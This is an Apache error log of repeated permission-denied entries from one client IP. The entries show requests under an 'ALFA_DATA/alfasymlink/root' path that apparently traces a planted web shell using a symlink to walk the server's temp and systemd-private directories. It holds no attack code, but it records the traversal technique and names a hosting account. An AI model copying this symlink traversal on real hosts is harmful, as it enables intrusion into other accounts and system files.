[Mon Oct 26 13:29:30.923751 2026] [core:crit] [pid 3044299:tid 3044299] (13)Permission denied: [client 216.244.66.250:38564] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/_caOxgALx2/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/_caOxgALx2/' is executable
[Mon Oct 26 13:29:30.923773 2026] [core:crit] [pid 3044299:tid 3044299] (13)Permission denied: [client 216.244.66.250:38564] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/pN3AQhlNgj/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/pN3AQhlNgj/' is executable
[Mon Oct 26 13:29:30.923786 2026] [core:crit] [pid 3044299:tid 3044299] (13)Permission denied: [client 216.244.66.250:38564] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/PsRo7Bsa_S/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/PsRo7Bsa_S/' is executable
[Mon Oct 26 13:29:30.923800 2026] [core:crit] [pid 3044299:tid 3044299] (13)Permission denied: [client 216.244.66.250:38564] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/systemd-private-66b9544970e444e28f4116453fcc8ef9-ea-php81-php-fpm.service-mPfqIM/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/systemd-private-66b9544970e444e28f4116453fcc8ef9-ea-php81-php-fpm.service-mPfqIM/' is executable
[Mon Oct 26 13:29:30.923830 2026] [core:crit] [pid 3044299:tid 3044299] (13)Permission denied: [client 216.244.66.250:38564] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/OwP99dXZ_b/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/OwP99dXZ_b/' is executable
[Mon Oct 26 13:29:30.923853 2026] [core:crit] [pid 3044299:tid 3044299] (13)Permission denied: [client 216.244.66.250:38564] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/H3T3qe0a6L/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/H3T3qe0a6L/' is executable
[Mon Oct 26 13:29:30.923875 2026] [core:crit] [pid 3044299:tid 3044299] (13)Permission denied: [client 216.244.66.250:38564] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/BQ13T2xrrG/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/BQ13T2xrrG/' is executable
[Mon Oct 26 13:29:30.923895 2026] [core:crit] [pid 3044299:tid 3044299] (13)Permission denied: [client 216.244.66.250:38564] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/XZqhtmoMNN/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/XZqhtmoMNN/' is executable
[Mon Oct 26 13:29:30.923911 2026] [core:crit] [pid 3044299:tid 3044299] (13)Permission denied: [client 216.244.66.250:38564] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/xCPByHeGOe/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/xCPByHeGOe/' is executable
[Mon Oct 26 13:29:30.923930 2026] [core:crit] [pid 3044299:tid 3044299] (13)Permission denied: [client 216.244.66.250:38564] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/m5eQaqt7WO/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/m5eQaqt7WO/' is executable
[Mon Oct 26 13:29:30.923955 2026] [core:crit] [pid 3044299:tid 3044299] (13)Permission denied: [client 216.244.66.250:38564] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/cHkKHvtb84/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/cHkKHvtb84/' is executable
[Mon Oct 26 13:29:30.923975 2026] [core:crit] [pid 3044299:tid 3044299] (13)Permission denied: [client 216.244.66.250:38564] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/systemd-private-066a78cff7bb4934b629849340394ebb-ea-php81-php-fpm.service-jU4lmI/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/systemd-private-066a78cff7bb4934b629849340394ebb-ea-php81-php-fpm.service-jU4lmI/' is executable
[Mon Oct 26 13:29:30.923994 2026] [core:crit] [pid 3044299:tid 3044299] (13)Permission denied: [client 216.244.66.250:38564] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/lpa8ZwaWTY/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/lpa8ZwaWTY/' is executable
[Mon Oct 26 13:29:30.924008 2026] [core:crit] [pid 3044299:tid 3044299] (13)Permission denied: [client 216.244.66.250:38564] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/systemd-private-deb758657a9446d7ad3cee5e2a6a684f-ea-php81-php-fpm.service-ZhbUNd/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/systemd-private-deb758657a9446d7ad3cee5e2a6a684f-ea-php81-php-fpm.service-ZhbUNd/' is executable
[Mon Oct 26 13:29:30.924021 2026] [core:crit] [pid 3044299:tid 3044299] (13)Permission denied: [client 216.244.66.250:38564] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/Ild61SlCM8/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/Ild61SlCM8/' is executable
[Mon Oct 26 13:29:30.924038 2026] [core:crit] [pid 3044299:tid 3044299] (13)Permission denied: [client 216.244.66.250:38564] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/oMgCKKTHTN/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/oMgCKKTHTN/' is executable
[Mon Oct 26 13:29:30.924061 2026] [core:crit] [pid 3044299:tid 3044299] (13)Permission denied: [client 216.244.66.250:38564] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/zFtYW8EbIo/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/zFtYW8EbIo/' is executable
[Mon Oct 26 13:29:30.924076 2026] [core:crit] [pid 3044299:tid 3044299] (13)Permission denied: [client 216.244.66.250:38564] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/U8bmWQiMp6/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/U8bmWQiMp6/' is executable
[Mon Oct 26 13:29:30.924103 2026] [core:crit] [pid 3044299:tid 3044299] (13)Permission denied: [client 216.244.66.250:38564] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/Iq7IAhBBCA/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/Iq7IAhBBCA/' is executable
[Mon Oct 26 13:29:30.924116 2026] [core:crit] [pid 3044299:tid 3044299] (13)Permission denied: [client 216.244.66.250:38564] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/b3IROGlFVp/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/b3IROGlFVp/' is executable
[Mon Oct 26 13:29:30.924135 2026] [core:crit] [pid 3044299:tid 3044299] (13)Permission denied: [client 216.244.66.250:38564] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/3tecYTyNge/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/3tecYTyNge/' is executable
[Mon Oct 26 13:29:30.924184 2026] [core:crit] [pid 3044299:tid 3044299] (13)Permission denied: [client 216.244.66.250:38564] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/GC947gwA7a/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/GC947gwA7a/' is executable
[Mon Oct 26 13:29:30.924239 2026] [core:crit] [pid 3044299:tid 3044299] (13)Permission denied: [client 216.244.66.250:38564] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/systemd-private-66b9544970e444e28f4116453fcc8ef9-chronyd.service-mqjOkx/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/systemd-private-66b9544970e444e28f4116453fcc8ef9-chronyd.service-mqjOkx/' is executable
[Mon Oct 26 13:29:30.924254 2026] [core:crit] [pid 3044299:tid 3044299] (13)Permission denied: [client 216.244.66.250:38564] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/IDKGG9qSVX/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/IDKGG9qSVX/' is executable
[Mon Oct 26 13:29:30.924274 2026] [core:crit] [pid 3044299:tid 3044299] (13)Permission denied: [client 216.244.66.250:38564] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/yIE1_o1ryC/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/yIE1_o1ryC/' is executable
[Mon Oct 26 13:29:30.924303 2026] [core:crit] [pid 3044299:tid 3044299] (13)Permission denied: [client 216.244.66.250:38564] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/pSZX5IDLqg/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/pSZX5IDLqg/' is executable
[Mon Oct 26 13:29:30.924326 2026] [core:crit] [pid 3044299:tid 3044299] (13)Permission denied: [client 216.244.66.250:38564] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/o3jCljYMJM/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/o3jCljYMJM/' is executable
[Mon Oct 26 13:29:30.924345 2026] [core:crit] [pid 3044299:tid 3044299] (13)Permission denied: [client 216.244.66.250:38564] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/9rc35X03xH/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/9rc35X03xH/' is executable
[Mon Oct 26 13:29:30.924373 2026] [core:crit] [pid 3044299:tid 3044299] (13)Permission denied: [client 216.244.66.250:38564] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/_UC3eRcjzH/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/_UC3eRcjzH/' is executable
[Mon Oct 26 13:29:30.924389 2026] [core:crit] [pid 3044299:tid 3044299] (13)Permission denied: [client 216.244.66.250:38564] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/systemd-private-80c69295681241f782d6bee35313cc5c-ea-php81-php-fpm.service-E4Si3D/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/systemd-private-80c69295681241f782d6bee35313cc5c-ea-php81-php-fpm.service-E4Si3D/' is executable
[Mon Oct 26 13:29:30.924404 2026] [core:crit] [pid 3044299:tid 3044299] (13)Permission denied: [client 216.244.66.250:38564] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/systemd-private-deb758657a9446d7ad3cee5e2a6a684f-pdns.service-ZaH2Al/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/systemd-private-deb758657a9446d7ad3cee5e2a6a684f-pdns.service-ZaH2Al/' is executable
[Mon Oct 26 13:29:30.924417 2026] [core:crit] [pid 3044299:tid 3044299] (13)Permission denied: [client 216.244.66.250:38564] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/bYpoGDqHwv/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/bYpoGDqHwv/' is executable
[Mon Oct 26 13:29:30.924444 2026] [core:crit] [pid 3044299:tid 3044299] (13)Permission denied: [client 216.244.66.250:38564] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/WGtLrvNEoO/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/WGtLrvNEoO/' is executable
[Mon Oct 26 13:29:30.924467 2026] [core:crit] [pid 3044299:tid 3044299] (13)Permission denied: [client 216.244.66.250:38564] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/KPaWqZiNSx/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/KPaWqZiNSx/' is executable
[Mon Oct 26 13:29:30.924492 2026] [core:crit] [pid 3044299:tid 3044299] (13)Permission denied: [client 216.244.66.250:38564] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/systemd-private-80c69295681241f782d6bee35313cc5c-chronyd.service-QEzZ3O/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/systemd-private-80c69295681241f782d6bee35313cc5c-chronyd.service-QEzZ3O/' is executable
[Mon Oct 26 13:29:30.924505 2026] [core:crit] [pid 3044299:tid 3044299] (13)Permission denied: [client 216.244.66.250:38564] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/0sa9T3ad5i/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/0sa9T3ad5i/' is executable
[Mon Oct 26 13:29:30.924518 2026] [core:crit] [pid 3044299:tid 3044299] (13)Permission denied: [client 216.244.66.250:38564] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/Bx1XC6ECXC/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/Bx1XC6ECXC/' is executable
[Mon Oct 26 13:29:30.924537 2026] [core:crit] [pid 3044299:tid 3044299] (13)Permission denied: [client 216.244.66.250:38564] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/EB_JgHXTS_/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/EB_JgHXTS_/' is executable
[Mon Oct 26 13:29:30.924555 2026] [core:crit] [pid 3044299:tid 3044299] (13)Permission denied: [client 216.244.66.250:38564] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/S7yeadvPLt/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/S7yeadvPLt/' is executable
[Mon Oct 26 13:29:30.924575 2026] [core:crit] [pid 3044299:tid 3044299] (13)Permission denied: [client 216.244.66.250:38564] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/Z33Xr5YNYQ/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/Z33Xr5YNYQ/' is executable
[Mon Oct 26 13:29:30.924610 2026] [core:crit] [pid 3044299:tid 3044299] (13)Permission denied: [client 216.244.66.250:38564] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/9qR6QZfgjM/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/9qR6QZfgjM/' is executable
[Mon Oct 26 13:29:30.924624 2026] [core:crit] [pid 3044299:tid 3044299] (13)Permission denied: [client 216.244.66.250:38564] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/1f5_lXm747/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/1f5_lXm747/' is executable
[Mon Oct 26 13:29:30.924659 2026] [core:crit] [pid 3044299:tid 3044299] (13)Permission denied: [client 216.244.66.250:38564] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/kGbyt5GibL/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/kGbyt5GibL/' is executable
[Mon Oct 26 13:29:30.924682 2026] [core:crit] [pid 3044299:tid 3044299] (13)Permission denied: [client 216.244.66.250:38564] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/nvY9ED8VzZ/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/nvY9ED8VzZ/' is executable
[Mon Oct 26 13:29:30.924703 2026] [core:crit] [pid 3044299:tid 3044299] (13)Permission denied: [client 216.244.66.250:38564] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/Re609yu1zD/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/Re609yu1zD/' is executable
[Mon Oct 26 13:29:30.924731 2026] [core:crit] [pid 3044299:tid 3044299] (13)Permission denied: [client 216.244.66.250:38564] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/6NbtUbNDlC/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/6NbtUbNDlC/' is executable
[Mon Oct 26 13:29:30.924746 2026] [core:crit] [pid 3044299:tid 3044299] (13)Permission denied: [client 216.244.66.250:38564] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/UzG84SehML/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/UzG84SehML/' is executable
[Mon Oct 26 13:29:30.924807 2026] [core:crit] [pid 3044299:tid 3044299] (13)Permission denied: [client 216.244.66.250:38564] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/W8MHf4Zxj7/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/W8MHf4Zxj7/' is executable
[Mon Oct 26 13:29:30.924876 2026] [core:crit] [pid 3044299:tid 3044299] (13)Permission denied: [client 216.244.66.250:38564] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/2rVIel3WrA/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/2rVIel3WrA/' is executable
[Mon Oct 26 13:29:30.924894 2026] [core:crit] [pid 3044299:tid 3044299] (13)Permission denied: [client 216.244.66.250:38564] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/systemd-private-066a78cff7bb4934b629849340394ebb-chronyd.service-ZW3YbV/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/systemd-private-066a78cff7bb4934b629849340394ebb-chronyd.service-ZW3YbV/' is executable
[Mon Oct 26 13:29:30.924907 2026] [core:crit] [pid 3044299:tid 3044299] (13)Permission denied: [client 216.244.66.250:38564] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/cDinXPzzIs/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/cDinXPzzIs/' is executable
[Mon Oct 26 13:29:30.924930 2026] [core:crit] [pid 3044299:tid 3044299] (13)Permission denied: [client 216.244.66.250:38564] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/r7NY5hafpJ/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/r7NY5hafpJ/' is executable
[Mon Oct 26 13:29:30.924945 2026] [core:crit] [pid 3044299:tid 3044299] (13)Permission denied: [client 216.244.66.250:38564] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/Qz4yTy6bRg/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/Qz4yTy6bRg/' is executable
[Mon Oct 26 13:29:30.924964 2026] [core:crit] [pid 3044299:tid 3044299] (13)Permission denied: [client 216.244.66.250:38564] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/fGFl3Hs6F6/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/fGFl3Hs6F6/' is executable
[Mon Oct 26 13:29:30.924983 2026] [core:crit] [pid 3044299:tid 3044299] (13)Permission denied: [client 216.244.66.250:38564] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/systemd-private-deb758657a9446d7ad3cee5e2a6a684f-chronyd.service-GVsiJc/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/systemd-private-deb758657a9446d7ad3cee5e2a6a684f-chronyd.service-GVsiJc/' is executable
[Mon Oct 26 13:29:30.925003 2026] [core:crit] [pid 3044299:tid 3044299] (13)Permission denied: [client 216.244.66.250:38564] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/systemd-private-066a78cff7bb4934b629849340394ebb-ea-php81-php-fpm.service-B8Ejq3/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/systemd-private-066a78cff7bb4934b629849340394ebb-ea-php81-php-fpm.service-B8Ejq3/' is executable
[Mon Oct 26 13:29:30.925017 2026] [core:crit] [pid 3044299:tid 3044299] (13)Permission denied: [client 216.244.66.250:38564] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/A4pXv2TKkc/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/A4pXv2TKkc/' is executable
[Mon Oct 26 13:29:30.925048 2026] [core:crit] [pid 3044299:tid 3044299] (13)Permission denied: [client 216.244.66.250:38564] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/systemd-private-066a78cff7bb4934b629849340394ebb-pdns.service-5xW5XD/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/systemd-private-066a78cff7bb4934b629849340394ebb-pdns.service-5xW5XD/' is executable
[Mon Oct 26 13:29:30.925069 2026] [core:crit] [pid 3044299:tid 3044299] (13)Permission denied: [client 216.244.66.250:38564] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/PbgIeBycdi/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/PbgIeBycdi/' is executable
[Mon Oct 26 13:29:30.925083 2026] [core:crit] [pid 3044299:tid 3044299] (13)Permission denied: [client 216.244.66.250:38564] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/uoip5FWHmS/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/uoip5FWHmS/' is executable
[Mon Oct 26 13:29:30.925095 2026] [core:crit] [pid 3044299:tid 3044299] (13)Permission denied: [client 216.244.66.250:38564] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/Nisnt6W17S/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/Nisnt6W17S/' is executable
[Mon Oct 26 13:29:30.925120 2026] [core:crit] [pid 3044299:tid 3044299] (13)Permission denied: [client 216.244.66.250:38564] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/TYWco4I01R/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/TYWco4I01R/' is executable
[Mon Oct 26 13:29:30.925150 2026] [core:crit] [pid 3044299:tid 3044299] (13)Permission denied: [client 216.244.66.250:38564] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/HsbhoqpxvF/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/HsbhoqpxvF/' is executable
[Mon Oct 26 13:29:30.925163 2026] [core:crit] [pid 3044299:tid 3044299] (13)Permission denied: [client 216.244.66.250:38564] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/com.google.Chrome.RuHS4J/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/com.google.Chrome.RuHS4J/' is executable
[Mon Oct 26 13:29:30.925177 2026] [core:crit] [pid 3044299:tid 3044299] (13)Permission denied: [client 216.244.66.250:38564] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/73W4Upx2xZ/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/73W4Upx2xZ/' is executable
[Mon Oct 26 13:29:30.925225 2026] [core:crit] [pid 3044299:tid 3044299] (13)Permission denied: [client 216.244.66.250:38564] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/netAn5lB7R/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/netAn5lB7R/' is executable
